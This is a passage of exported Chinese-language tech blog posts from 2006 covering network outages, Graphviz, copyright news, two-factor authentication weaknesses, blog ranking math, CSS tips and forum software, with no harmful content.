    "body": "從凌晨開始，<a href=\"http://www.hinet.net/\" rel=\"tag\">HiNet</a> 與  <a href=\"http://www.nctu.edu.tw/\" rel=\"tag\">交大</a> 連線的三條 Gigabit 線路都斷掉：\r\n\r\n<a href=\"http://flickr.com/photos/gslin/305600314/\"><img src=\"http://static.flickr.com/109/305600314_12ed49b182.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://flickr.com/photos/gslin/305600315/\"><img src=\"http://static.flickr.com/121/305600315_f3aeefc0d5.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://flickr.com/photos/gslin/305600316/\"><img src=\"http://static.flickr.com/105/305600316_d849faa905.jpg\" alt=\"\" /></a>\r\n\r\n依照 <a href=\"http://www.nctu.edu.tw/\" rel=\"tag\">交大</a> 的網路架構，如果 <a href=\"http://www.hinet.net/\" rel=\"tag\">HiNet</a> 與 <a href=\"http://www.nctu.edu.tw/\" rel=\"tag\">交大</a> 的連線斷掉，就會改走 <a href=\"http://www.nctu.edu.tw/\" rel=\"tag\">交大</a> 與 <a href=\"http://140.111.1.192/moecc/\" rel=\"tag\">教育部電算中心</a> 的連線，問題是這條線路只有 1Gbps...\r\n\r\n<a href=\"http://flickr.com/photos/gslin/305600313/\"><img src=\"http://static.flickr.com/108/305600313_b5d2556b02.jpg\" alt=\"\" /></a>\r\n\r\n於是 <a href=\"http://140.111.1.192/moecc/\" rel=\"tag\">教育部電算中心</a> 與 <a href=\"http://www.hinet.net/\" rel=\"tag\">HiNet</a> 的使用頻寬就往上漲：(但當然不會爆，因為 <a href=\"http://www.nctu.edu.tw/\" rel=\"tag\">交大</a> 這邊卡在 1Gbps)\r\n\r\n<a href=\"http://flickr.com/photos/gslin/305600317/\"><img src=\"http://static.flickr.com/106/305600317_3cb5739bf2.jpg\" alt=\"\" /></a>\r\n\r\n(這張可以在 <a href=\"http://mrtg.moe.edu.tw/isps/\">http://mrtg.moe.edu.tw/isps/</a> 看到)\r\n\r\n可以看出來到剛剛才修好 :p",
    "title": "斷好久的網路"
  },
  {
    "id": "917",
    "body": "在 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">蔡依林</a> 的 <a href=\"http://del.icio.us/\" rel=\"tag\">del.icio.us</a> 上看到有篇文章在講 <a href=\"http://graphviz.org/\" rel=\"tag\">GraphViz</a> 的用法：<a href=\"http://www.linuxfocus.org/English/August2005/article387.shtml\">Automate the creation of graphs with Graphviz</a>，拿前幾天用 <a href=\"http://freemind.sourceforge.net/\" rel=\"tag\">FreeMind</a> 畫的 <a href=\"http://d2.nctu.edu.tw/\" rel=\"tag\">D2</a> 架構再畫一次：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/gslin/444759\"><img src=\"http://static.zooomr.com/images/444759_30be437f27.jpg\" alt=\"\" /></a>\r\n\r\n(點進去看最大張的圖)\r\n\r\n附上 d2.gv，上圖是用 <code>dot -Tpng -o d2.png d2.gv</code> 產生出來的：\r\n<blockquote><pre>digraph G {\r\n    \"D2 E-mail System\"-&gt;{\"Users\" \"Department\"};\r\n    \"Users\"-&gt;\"Basic Data\";\r\n    \"Users\"-&gt;\"Student Number\";\r\n    \"Users\"-&gt;\"Student Department\"-&gt;\"Department\";\r\n    \"Users\"-&gt;\"Username\";\r\n    \"Users\"-&gt;\"Password\";\r\n    \"Users\"-&gt;\"Forwarding E-mail\";\r\n    \"Users\"-&gt;\"Quota\";\r\n    \"Users\"-&gt;\"Creation Date\";\r\n    \"Users\"-&gt;\"Creation IP\";\r\n    \"Users\"-&gt;\"Last Login Date\";\r\n    \"Users\"-&gt;\"Last Login IP\";\r\n    \"Basic Data\"-&gt;\"ID\";\r\n    \"Basic Data\"-&gt;\"Real Name\";\r\n    \"Basic Data\"-&gt;\"Permanent Address\";\r\n    \"Basic Data\"-&gt;\"Permanent Telephone\";\r\n    \"Basic Data\"-&gt;\"Contact Address\";\r\n    \"Basic Data\"-&gt;\"Contact Telephone\";\r\n    \"Basic Data\"-&gt;\"Mobile Telephone\";\r\n    \"Department\"-&gt;\"Number\";\r\n    \"Department\"-&gt;\"Abbr\";\r\n    \"Department\"-&gt;\"Description\";\r\n}</pre></blockquote>",
    "title": "GraphViz"
  },
  {
    "id": "918",
    "body": "無意間看到 upload.wretch.cc 之前用 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">lighttpd</a>：<a href=\"http://toolbar.netcraft.com/site_report?url=http://upload.wretch.cc\">Site report for upload.wretch.cc</a>。\r\n\r\n不過現在又換回 <a href=\"http://httpd.apache.org/\" rel=\"tag\">Apache</a> 了... :p",
    "title": "lighttpd"
  },
  {
    "id": "919",
    "body": "最近可以在各看板/Blog 上看到的作品 (像是 <a href=\"http://www.youtube.com/watch?v=eCyvofPE7yg\">我敗自eBay 中文字幕版</a>、<a href=\"http://www.youtube.com/watch?v=9CmK-VOlYjU\">White & Nerdy 中文字幕版</a>) 都是出自 <a href=\"http://en.wikipedia.org/wiki/%22Weird_Al%22_Yankovic\" rel=\"tag\">\"Weird Al\" Yankovic</a> 之手。在 <a href=\"http://www.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 上的介紹很完整，如果要看其他作品可以去 <a href=\"http://www.youtube.com/\" rel=\"tag\">Youtube</a> 上翻... :p\r\n\r\n<strong>Update</strong>：發現在 <a href=\"http://www.ncu.edu.tw/\" rel=\"tag\">中央大學</a> 的 <a href=\"http://english.ncu.edu.tw/wenchi/Song/song_all.htm\" rel=\"tag\">林文淇「英文歌曲試聽室」歌曲總匯</a> 這頁也有一些... XD",
    "title": "\"Weird Al\" Yankovic"
  },
  {
    "id": "920",
    "body": "<a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 對澳大利亞的新的著作權法提出質疑，新的法案會造成 Search Engine 必須先取得網站負責人的同意才能 index 與 archive，這與現有的架構相反：\r\n<ul>\r\n\t<li><a href=\"http://www.boingboing.net/2006/11/26/australias_copyright.html\">Australia's copyright law breaks search engines</a> (<a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a>)</li>\r\n\t<li><a href=\"http://www.abc.net.au/news/newsitems/200611/s1782921.htm\">Google warns Aust copyright laws could cripple Internet</a> (<a href=\"http://www.abc.net.au/\" rel=\"tag\">ABC AU</a>)</li>\r\n</ul>",
    "title": "澳洲的新著作權法"
  },
  {
    "id": "921",
    "body": "工具要正確的被使用才有效果。\r\n\r\n傳統只輸入密碼的方式有時被稱做 One-factor authentication，因為 <a href=\"http://en.wikipedia.org/wiki/Two-factor_authentication\" rel=\"tag\">Two-factor authentication</a> 是指兩種以上的認證，通常是透過 USB 外接 <a href=\"http://en.wikipedia.org/wiki/Smart_card\" rel=\"tag\">Smart card</a> 讀卡機用卡片另外做認證。\r\n\r\n美國網路銀行將身份檢查的部分改用 <a href=\"http://en.wikipedia.org/wiki/Two-factor_authentication\" rel=\"tag\">Two-factor authentication</a> 進行認證，希望可以對抗 Phishing (網路釣魚)。問題這樣還是會受到 Man-in-the-middle-attack 與 Trojan (木馬) 的攻擊。\r\n\r\n以 <a href=\"http://en.wikipedia.org/wiki/Smart_card\" rel=\"tag\">Smart card</a> 作為 <a href=\"http://en.wikipedia.org/wiki/Two-factor_authentication\" rel=\"tag\">Two-factor authentication</a> 的架構來說，Man-in-the-middle-attack 攻擊是在使用者瀏覽釣魚頁面時去原來的網路銀行上抓 <a href=\"http://en.wikipedia.org/wiki/Two-factor_authentication\" rel=\"tag\">Two-factor authentication</a> 所需要的 Message，傳給使用者後讓使用者認證。使用者認證完 (密碼以及 <a href=\"http://en.wikipedia.org/wiki/Smart_card\" rel=\"tag\">Smart card</a> 對 Message 的數位簽名) 送回釣魚頁面，釣魚頁面再送回原來銀行網頁，完成認證的動作，接下來開始把錢轉帳到其他戶頭去。這也就是 <a href=\"http://www.schneier.com/blog/\" rel=\"tag\">Bruce Schneier</a> 這篇 <a href=\"http://www.schneier.com/blog/archives/2006/11/fighting_fraudu.html\">Fighting Fraudulent Transactions</a> 提到美國銀行以及政府所使用的 <a href=\"http://en.wikipedia.org/wiki/Two-factor_authentication\" rel=\"tag\">Two-factor authentication</a> 無法保護使用者。\r\n\r\n但這並不是 <a href=\"http://en.wikipedia.org/wiki/Two-factor_authentication\" rel=\"tag\">Two-factor authentication</a> 有問題，而是因為把 <a href=\"http://en.wikipedia.org/wiki/Two-factor_authentication\" rel=\"tag\">Two-factor authentication</a> 用在錯的地方上。台灣的網路銀行在這點上面做的 <a href=\"http://en.wikipedia.org/wiki/Two-factor_authentication\" rel=\"tag\">Two-factor authentication</a> 就是正確的方式。\r\n\r\n以「轉帳」為例，你必須有一台 <a href=\"http://en.wikipedia.org/wiki/Smart_card\" rel=\"tag\">Smart card</a> 讀卡機，由銀行產生 Message (在裡面會包括要轉出的戶頭，以及轉入的戶頭，金額，以及一個流水號)，讓晶片卡去這個 Message，然後傳回網路銀行驗證。\r\n\r\n重點在於 <a href=\"http://en.wikipedia.org/wiki/Two-factor_authentication\" rel=\"tag\">Two-factor authentication</a> 必須用在每個交易動作上，而不是只用在一開始的認證：\r\n<blockquote>The solution is not to better authenticate the person, but to authenticate the transaction. (Think credit cards. No one checks your signature. They really don't care if you're you. They maintain security by authenticating the transactions.)\r\n(解決的方法並不是尋找更好的方法「驗證使用者」，而是「驗證交易本身」。想想信用卡怎麼做的，沒有人會檢查你的簽名，他們根本不在乎是你本人，因為他們是透過信用卡對每一項交易動作進行認證，以維護安全。)</blockquote>",
    "title": "Two-factor authentication"
  },
  {
    "id": "922",
    "body": "在 <a href=\"http://blog.outer-court.com/archive/2006-11-27.html#n80\">Google Parking Lot</a> 看到的圖：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/gslin/453450\"><img src=\"http://static.zooomr.com/images/453450_0a64560bc8.jpg\" alt=\"\" /></a>\r\n\r\n我喜歡那張 GNU CAR... :p",
    "title": "Google 停車場"
  },
  {
    "id": "923",
    "body": "在 <a href=\"http://slashdot.org/linux/06/11/27/1145230.shtml\">RMS transcript on GPLv3, Novell/MS, Tivo and more</a> 看到 <a href=\"http://en.wikipedia.org/wiki/Richard_Stallman\" rel=\"tag\">RMS</a> 在 <a href=\"http://gplv3.fsij.org/\" rel=\"tag\">5th international GPLv3 conference</a> 上對標題上的那些東西的談話，晚點來看：<a href=\"http://www.fsfeurope.org/projects/gplv3/tokyo-rms-transcript\">Transcript of Richard Stallman at the 5th international GPLv3 conference; 21st November 2006</a>。",
    "title": "RMS 對於 GPLv3、Novell/MS、Tivo 的談話"
  },
  {
    "id": "924",
    "body": "當初一開始出來的時候就覺得亂排一通，數字稍微有點變化就會造成排名急遽上升 (或下降... XD)，昨天在 IRC 上突然在講這個，回去看開發人的 Blog 發現計算方式：<a href=\"http://blog.wildcat.tw/p_342.php\">[部落格觀察] 計算方式大揭密</a>。\r\n\r\nOh my god，<strong>直接拿不同單位的數量互加</strong>，到底有沒有人知道什麼是 <a href=\"http://en.wikipedia.org/wiki/Normal_distribution\" rel=\"tag\">Normal Distribution</a> 啊...\r\n\r\n錯誤的政策比什麼都不做還糟糕，套到這裡完全適用。拿著錯誤的公式向大家炫耀「這邊有個台灣 Blog 排名」，比起什麼都沒有還糟糕。\r\n\r\n<strong>Update</strong>：因為維護者根本看不懂他的問題在哪裡，所以...\r\n<ul>\r\n\t<li>「重視」裡面，「Bloglines 的總訂閱人數」與各家的「網摘數」當然不能加在一起，這兩個根本是不同的東西，於是「重視」的數字已經沒有意義了。</li>\r\n\t<li>「Page 總分」裡面居然是把 Link 數加上「重視的總分」(這兩個明明就是不同的單位)，於是「Page 總分」沒有意義了。</li>\r\n\t<li>「Index 指數」居然是取 log，於是「重視」的部分變成 log(a+b+c+d+...)，但是其他的部分卻是 log(a)+log(b)+log(c)+...，於是 Index 指數又爛掉了...</li>\r\n\t<li>原文裡面提到的「不過只開二次方根還是會造成某項數值較高，就把影響分數大幅提高的情況，\r\n所以我把它改成 (1) Yahoo Link 數 Google Link 數 + (2) Blogger Search Link 數 + Blogger Search  Post 數 + (3) Technorati  URL數 + Link 數 + Furl Search Link 數，這三項相乘之後，開三次方根」根本就是亂來，麻煩查一下怎麼做「<del>正規化</del>標準化」。</li>\r\n</ul>\r\n「排名」要做的看起來「有樣子」當然很容易，你只要不要把正的搞成負的，那麼 <a href=\"http://www.wretch.cc/blog/cwwany\" rel=\"tag\">彎彎</a>、<a href=\"http://blog.ijliao.info/\" rel=\"tag\">蔡依林的部落格</a>、<a href=\"http://zonble.twbbs.org/\" rel=\"tag\">zonble 的部落格</a> 當然會排在前面，因為他們所有的分數本來就比起其他人高，你公式不管怎麼代都會在前面。\r\n\r\n但是要搞到「正確」，麻煩回去看看統計學的書，然後看看 <a href=\"http://www.technorati.com/\" rel=\"tag\">Technorati</a> 怎麼做。\r\n\r\nPS：Blog Influence 基本上也是個笑話，所以...。",
    "title": "部落格排名？"
  },
  {
    "id": "926",
    "body": "看完某些白癡文章討論後，實在很想罵...\r\n<blockquote>設計 Album/Blog 系統，沒人會考慮同時用核彈炸掉你三個機房的情況 !@#$%^</blockquote>",
    "title": "核爆"
  },
  {
    "id": "927",
    "body": "<a href=\"http://cyutnc.blogspot.com/2006/12/linux-usb-disk.html\">作業五 請於 2007 年 1 月 4 號繳交。</a>：\r\n<blockquote>Linux USB Disk 探測程式\r\n於 Linux 系統中，撰寫一可偵測 USB 隨身碟裝置功能之程式，</blockquote>",
    "title": "「網路程式設計」的期中作業"
  },
  {
    "id": "928",
    "body": "<a href=\"http://www.bittorrent.com/\" rel=\"tag\">Bittorrent.com</a> 又騙到兩千萬美金了：<a href=\"http://gigaom.com/2006/12/01/bittorrent-20-million/\" rel=\"tag\">BitTorrent Gets $20 million</a>。\r\n\r\n這告訴我們炒股票才是王道啊！(errr)",
    "title": "Bittorrent.com"
  },
  {
    "id": "929",
    "body": "<a href=\"http://zh.wikipedia.org/wiki/%E7%BE%8E%E5%9C%8B%E8%B2%BF%E6%98%93%E4%BB%A3%E8%A1%A8%E8%99%95\" rel=\"tag\">美國貿易代表處</a> (<a href=\"http://en.wikipedia.org/wiki/Office_of_the_United_States_Trade_Representative\" rel=\"tag\">USTR</a>) 在十一月月中的時候透過 <a href=\"http://www.wto.org/\" rel=\"tag\">WTO</a> 的協議，要求俄羅斯將境內的 <a href=\"http://www.allofmp3.com/\" rel=\"tag\">AllOfMP3.com</a> 關閉：<a href=\"http://www.techcrunch.com/2006/11/28/russia-agrees-to-us-request-to-shut-down-allofmp3com/\">Russia Agrees To US Request To Shut Down AllofMP3.com</a>。\r\n\r\n不過既然在俄羅斯國內都沒辦法動 <a href=\"http://www.allofmp3.com/\" rel=\"tag\">AllOfMP3.com</a> 了，透過 <a href=\"http://www.wto.org/\" rel=\"tag\">WTO</a> 協議大概也沒什麼用：一種是法律根本不認為這是非法行為，另外一種是人家後台硬到不行，沒人敢動...",
    "title": "AllOfMP3.com"
  },
  {
    "id": "930",
    "body": "人的貪心是無止盡的：<a href=\"http://www.techcrunch.com/2006/12/01/million-dollar-homepage-becomes-multi-million-dollar-home-page/\">Million Dollar Homepage Becomes Multi-Million Dollar Homepage</a>，百萬美元網站決定再搞一次，這次把每個 pixel 調高為 $2，然後送出一百萬美元給按下某個正確的 pixel 的人...。",
    "title": "百萬美元廣告 II"
  },
  {
    "id": "931",
    "body": "用 &lt;pre&gt;&lt;/pre&gt; 如果遇到文字過長的時候就會炸掉，所以我 Blog 上偶爾會因為我貼 code 發生慘劇 (因為也不知道怎麼解)，結果剛剛在 <a href=\"http://ajaxian.com/archives/wrapping-the-pre-tag\">Wrapping the pre tag</a> 這篇看到解法：\r\n<blockquote><pre>pre {\r\n white-space: pre-wrap;       /* css-3 */\r\n white-space: -moz-pre-wrap;  /* Mozilla, since 1999 */\r\n white-space: -pre-wrap;      /* Opera 4-6 */\r\n white-space: -o-pre-wrap;    /* Opera 7 */\r\n word-wrap: break-word;       /* Internet Explorer 5.5+ */\r\n}</pre></blockquote>\r\n有 CSS3 的就以第一條支援 (在 CSS 2.1 裡也有)，<a href=\"http://www.mozilla.com/\" rel=\"tag\">Mozilla</a> 系列以第二條，<a href=\"http://www.opera.com/\" rel=\"tag\">Opera</a> 以第三與第四條，最後則是處理 IE。",
    "title": "pre 裡的換行"
  },
  {
    "id": "933",
    "body": "引自 <a href=\"http://en.wikipedia.org/wiki/Chief_Seattle\" rel=\"tag\">Chief Seattle</a>：\r\n<blockquote><small>The newest version bears little resemblance to the old one. It is the work of Ted Perry, a scriptwriter for a 1972 film about ecology called Home. This version casts Chief Seattle as an early ecological visionary, speaking of the insights of his people into the workings of nature. It led to his becoming a role model of the environmental movement (rightfully or not). A shortened rendering of the third version is also circulating.</small></blockquote>",
    "title": "Chief Seattle's Reply"
  },
  {
    "id": "934",
    "body": "<a href=\"http://beta.zooomr.com/photos/gslin/491875\"><img src=\"http://static.zooomr.com/images/491875_277034f6af_m.jpg\" alt=\"\" style=\"float: left; margin: 0 1em 1em 0;\" /></a> <a href=\"http://www.everydns.net/\" rel=\"tag\">EveryDNS</a> 是一個免費的 DNS Hosting (當你需要 Hosting 比較多 Domain 時也有付費的選擇可以讓你用)，功能不多 (不能設定 TXT，這樣就沒有辦法設定 <a href=\"http://antispam.yahoo.com/domainkeys\" rel=\"tag\">DomainKeys</a> 以及 <a href=\"http://www.openspf.org/\" rel=\"tag\">SPF</a>)，但對於一般使用來說已經相當夠用。\r\n\r\n有不少的 DNS 都是放到 <a href=\"http://www.everydns.net/\" rel=\"tag\">EveryDNS</a> 上，像是我的 gslin.org (完全讓 <a href=\"http://www.everydns.net/\" rel=\"tag\">EveryDNS</a> 管) 以及蔡依林的 ijliao.info (<a href=\"http://www.everydns.net/\" rel=\"tag\">EveryDNS</a> 只是扮演 slave 的角色)。\r\n\r\n昨天 <a href=\"http://www.everydns.net/\" rel=\"tag\">EveryDNS</a> 發生問題，因為四台 DNS 主機都被 DDoS 打爛了：<a href=\"http://slashdot.org/it/06/12/03/0052233.shtml\">EveryDNS Under Botnet DDoS Attack</a>，在 <a href=\"http://www.everydns.net/news.php\" rel=\"tag\">EveryDNS News</a> 這頁也可以看到說明。",
    "title": "EveryDNS 被攻擊"
  },
  {
    "id": "935",
    "body": "<a href=\"http://beta.zooomr.com/photos/gslin/491883\"><img src=\"http://static.zooomr.com/images/491883_9c386a36a8_s.jpg\" alt=\"\" style=\"float: left; margin; 0 1em 1em 0;\" /></a><a href=\"http://www.archive.org/\" rel=\"tag\">Internet Archive</a> 在軟體的部份將不受 <a href=\"http://en.wikipedia.org/wiki/Digital_Millennium_Copyright_Act\" rel=\"tag\">DMCA</a> 對於軟體的限制，允許 <a href=\"http://www.archive.org/\" rel=\"tag\">Internet Archive</a> 將不在市面上流通的軟體的防盜拷限制破解後保存下來：<a href=\"http://slashdot.org/yro/06/11/29/1917234.shtml\">Internet Archive Gets DMCA Exemption</a>，原報導在這：<a href=\"http://www.archive.org/iathreads/post-view.php?id=82097\">Internet Archive Helps Secure Exemption To The Digital Millennium Copyright Act</a>。",
    "title": "Internet Archive 取得軟體部份的排除授權"
  },
  {
    "id": "936",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 的 <a href=\"http://slashdot.org/it/06/11/30/2227212.shtml\">Cracking the BlackBerry with a $100 Key</a> 這篇是說任何一個人都可以花 $100 (美金) 買 Developer Key 用來簽自己寫的程式，然後在 <a href=\"http://zh.wikipedia.org/wiki/BlackBerry\" rel=\"tag\">黑梅機</a> 裡面幹任何事情，像是幫別人送送 SMS，發發廣告信，把私人信件傳給別人之類的...。原報導是在 <a href=\"http://www.symantec.com/enterprise/security_response/weblog/\" rel=\"tag\">Symantec 的 Security Response Blog</a> 上發表的 <a href=\"http://www.symantec.com/enterprise/security_response/weblog/2006/10/hacking_the_blackberry.html\">Hacking the Blackberry</a>。\r\n\r\n這個案例告訴我們：你不能認為付費的開發者就是好人。\r\n\r\n那為什麼這篇會放到 \"Blog\" 這個 Category？因為 <a href=\"http://www.wretch.cc/\" rel=\"tag\">無名小站</a> 也做了同樣的蠢事，他們認為付費的 VIP 使用者所放的 Javascript 是沒有問題的：<a href=\"http://www.wretch.cc/hala/viewtopic.php?p=751318\">JavaScript 調整說明</a>。",
    "title": "安全性問題"
  },
  {
    "id": "937",
    "body": "雖然 Wiki 也可以拿來討論，不過畢竟不是專門討論的軟體，所以在 IRC 上詢問過 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">蔡依林長輩</a> 的意見後，還是決定架了一個論壇讓粉絲們可以進來聊... :p\r\n\r\n我對 <a href=\"http://www.phpbb.com/\" rel=\"tag\">phpBB</a> 頗感冒，一方面是安全性問題，另外一方面是 <a href=\"http://blog.gslin.org/archives/2006/11/15/900/\">網站的 Spam Link</a> 這個，即使在揭露後還是不管，繼續放 Spam Link。(剛剛去看 <a href=\"http://www.lifetype.org.tw/\" rel=\"tag\">Lifetype Taiwan</a> 的首頁，也還是放著)\r\n\r\n既然不使用 <a href=\"http://www.punbb.com/\" rel=\"tag\">phpBB</a> 的話，就要另外找了。我先前在 <a href=\"http://www.utorrent.com/\" rel=\"tag\">µTorrent</a> 那邊發現他們用 <a href=\"http://www.punbb.org/\" rel=\"tag\">PunBB</a>，看起來還蠻好用的。當時發現 <a href=\"http://www.freebsd.org/ports/\">FreeBSD ports</a> 裡還沒有放，就塞了一份進 <a href=\"http://www.freshports.org/www/punbb/\" rel=\"tag\">www/punbb</a>，現在剛好是拿出來用的時候... :p\r\n\r\n目前已經架好了，不過要等 <a href=\"http://pesty.yichi.org/\" rel=\"tag\">pesty</a> 把 <a href=\"http://forum.yichi.org/\" rel=\"tag\">forum.yichi.org</a> 指過去，如果要先晃晃的話可以設定 hosts，將 forum.yichi.org 指到 72.36.224.226。",
    "title": "論壇"
  },
  {
    "id": "938",
    "body": "學弟 <a href=\"http://www.ronny.idv.tw/\" rel=\"tag\">ronnywang</a> 去當兵後，接任的學弟完全不管事，只負責千篇一律的對於每個寫信到 mailadm at nctu.edu.tw 的詢問者回答官樣文章：\r\n<blockquote>D2 為了提供更穩定的服務以及空間，目前正在搬移至硬碟陣列中，預計需要搬移約兩天，但是搬移過程並不會影響到使用者信箱上的使用，期間仍可正常收信發信。\r\n\r\nWebmail Horde 部分可能暫時無法刪除信件，請到 [選項] =&gt; [伺服器及信件匣資訊] =&gt; 將垃圾箱選為 trash，請盡量不要改成其他信件夾，因為其他信件夾名稱就不會有 30 天自己刪除的功能了。\r\n\r\n有其他問題請寄信至 mailadm@nctu.edu.tw 與我們連絡</blockquote>\r\n結果鬧來鬧去最後鬧到我頭上，滿肚子大便... 幹幹幹！",
    "title": "D2 信箱"
  },
  {
    "id": "939",
    "body": "因為有訂學長的 comment feed，所以剛剛發現天空把 <a href=\"http://blog.yam.com/\" rel=\"tag\">blog.yam.com</a> 上的文章重送一次：<a href=\"http://greenisland.csie.nctu.edu.tw/wp/2005/08/21/278/#comment-56127\">拂曉的微風:新竹遠百的麻布茶房 - Yam天空部落</a>。\r\n\r\n不過會想要寫一篇講的原因是因為看到 \"<a href=\"http://dev.wp-plugins.org/wiki/Kramer\">Kramer auto Pingback</a>\" 這行，這是說天空的系統是用 <a href=\"http://wordpress.org/\">WordPress</a> 改的嗎？看 html source 似乎有點樣子？\r\n\r\n<strong>Update</strong>：學長說：\r\n<blockquote>08:12 &lt;@Blake&gt; gslin: 那個 Karmer auto pingback 這個是我裝的 plugin， 只要有人從某個連結過來， 它就會自動補在 comment 處</blockquote>",
    "title": "天空重送 Trackback/Pingback"
  },
  {
    "id": "940",
    "body": "在 <a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a> 上看到的無恥笑話 XD (<a href=\"http://www.boingboing.net/2006/12/09/undead_musicians_pet.html\">Undead musicians petition UK govt for more copyright</a>)\r\n\r\n前幾天在英國的 <a href=\"http://www.ft.com/\" rel=\"tag\">UK's Financial Times</a> 上有一則廣告，廣告內列出了四千位音樂工作者向英國政府請願，希望將錄音著作的有效期從五十年延長為九十五年。而 <a href=\"http://en.wikipedia.org/wiki/Creative_Commons\" rel=\"tag\">Creative Commons</a> 的發起人 (也還是現任大魔頭) <a href=\"http://en.wikipedia.org/wiki/Lawrence_Lessig\" rel=\"tag\">Lawrence Lessig</a> 發現這份表上面居然有已經過世的人簽署？於是他就寫了一篇很機車的 <a href=\"http://www.lessig.org/blog/archives/003628.shtml\">Ok, so I’m wrong</a> 這篇文章挖苦 XD\r\n\r\n<strong>Update</strong>：<a href=\"http://www.gameimp.com/\" rel=\"tag\">南宮博士</a> 這篇 <a href=\"http://www.gameimp.com/archives/2006/12/12/772/\">[copyright] 版權的觀念是一種發明物</a> 也可以看一看 :p",
    "title": "英國的音樂著作延伸年限請願"
  },
  {
    "id": "941",
    "body": "<a href=\"http://www.emigroup.com/\" rel=\"tag\">EMI</a> 與 <a href=\"http://music.yahoo.com/\" rel=\"tag\">Yahoo! Music</a> 合作，嘗試在線上網站上賣不含 DRM 的音樂，試著瞭解 DRM-free 的市場有多大，值不值得投資下去：<a href=\"http://slashdot.org/yro/06/12/07/1543207.shtml\">EMI Experiments With DRM-free MP3's</a>。",
    "title": "EMI 嘗試販賣不含 DRM 的音樂"
  },
  {
    "id": "943",
    "body": "最近天氣比較冷了，請多照顧自己的身體。",
    "title": "給所有的人..."
  },
  {
    "id": "944",
    "body": "在 <a href=\"http://www.longren.org/2006/12/11/wordpress-21-database-changes/\">WordPress 2.1 Database Changes</a> 看到 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 2.1 會改變本來 backward-compatible 的資料庫的存取方式 (直接指定 table name，而不是透過 $wpdb 抓 table name)，這使得用舊方法的 Plugin 與 Theme 會出問題。\r\n\r\n對於一般使用 release tarball 安裝的人應該沒有差，需要注意的人是從 SVN 版更新的。\r\n\r\n完整的說明可以參考 WordPress 開發 Blog 上的 <a href=\"http://wordpress.org/development/2006/12/naughty-or-nice/\">Is your plugin Naughty or Nice?</a> 這篇。",
    "title": "WordPress 的資料庫架構更新"
  },
  {
    "id": "946",
    "body": "<a href=\"http://www.calacanis.com/\" rel=\"tag\">Jason Calacanis</a> 前幾天想要知道像 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 這種站台有沒有人專門 submit 商業廣告，然後付錢請人「推」上去，於是他決定在 Blog 上問，他會保密，並提供 $100 美金給提供資訊 (而且可以驗證是真的) 的人：<a href=\"http://www.calacanis.com/2006/12/11/digg-users-are-getting-paid/\">digg users are getting paid--just not by digg</a> 與 <a href=\"http://www.calacanis.com/2006/12/12/out-the-social-news-scammers/\">Out the social news scammers (and take a C note off the table)</a>。\r\n\r\n結果短短的一天內就有人報料給 <a href=\"http://www.calacanis.com/\" rel=\"tag\">Jason Calacanis</a>，而且資料相當完整，$100 馬上就給出去了 :p 他把拿到的這份內容整理後再抓了一些 screenshot 寫了這篇：<a href=\"http://www.calacanis.com/2006/12/12/first-digg-scam-outed-please-help-me-confirm/\">First digg scam outed? Please help me confirm.</a>。(這篇更新了好幾次，更新的內容在最上面的 Update)\r\n\r\nNice job :p",
    "title": "Digg 上的 PayPerDigg"
  },
  {
    "id": "947",
    "body": "<a href=\"http://www.jeffhung.net/blog/\" rel=\"tag\">JeffHung</a> 的 <a href=\"http://www.jeffhung.net/blog/articles/jeffhung/737/\">Block Snap Preview Anywhere™</a> 這篇提供方法給使用 <a href=\"https://addons.mozilla.org/firefox/10/\" rel=\"tag\">Adblock</a> (以及 <a href=\"https://addons.mozilla.org/firefox/1865/\" rel=\"tag\">Adblock Plus</a>) 的使用者擋掉強姦使用者的 Snap Preview：\r\n<blockquote><code>http://spa.snap.com/snap_preview_anywhere.js?*</code></blockquote>\r\n我之前是直接把 snap.com 給閹了，不過這個方法很明顯比較好，要去 snap.com 找資料還可以找...",
    "title": "把 Snap Preview Anywhere 擋掉"
  },
  {
    "id": "948",
    "body": "寫 code 的窗雖然有掛 <a href=\"http://www.gnu.org/software/screen/\" rel=\"tag\">screen</a>，不過線路一直斷還是很苦啊...\r\n\r\n<a href=\"http://flickr.com/photos/gslin/321560547/\"><img src=\"http://static.flickr.com/129/321560547_30bb931dc2.jpg\" alt=\"\" /></a>\r\n\r\n下雨天 ADSL 不穩定，結果 3G 的路由好像也有問題... 難道要換撥接了嗎 @_@",
    "title": "線路不穩定"
  },
  {
    "id": "949",
    "body": "來猜測這批幾乎是免費贈送的 FON 最後會發生的事情：整台機器完整的被破解，有人寫專屬 Client 去官方網站上自動更新狀態，但是機器卻被拿來自己用。",
    "title": "FON"
  },
  {
    "id": "950",
    "body": "如果你拿了 <a href=\"http://www.payperpost.com/\">PayPerPost</a> 的錢寫文章卻不揭露的話是違法的：<a href=\"http://www.washingtonpost.com/wp-dyn/content/article/2006/12/11/AR2006121101389.html\">FTC Moves to Unmask Word-of-Mouth Marketing</a>。\r\n\r\n其實要避開就把整家公司搬到台灣來... (errr)",
    "title": "PayPerPost 在美國..."
  },
  {
    "id": "951",
    "body": "在 mailing list 上看到 libTorrent 0.11.0 與 rTorrent 0.7.0 出版了：<a href=\"http://rakshasa.no/pipermail/libtorrent-devel/2006-December/000982.html\">[Libtorrent-devel] LibTorrent 0.11.0 and rTorrent 0.7.0 released</a>，可以上 encryption 了 :p",
    "title": "libTorrent 0.11.0 與 rTorrent 0.7.0"
  },
  {
    "id": "952",
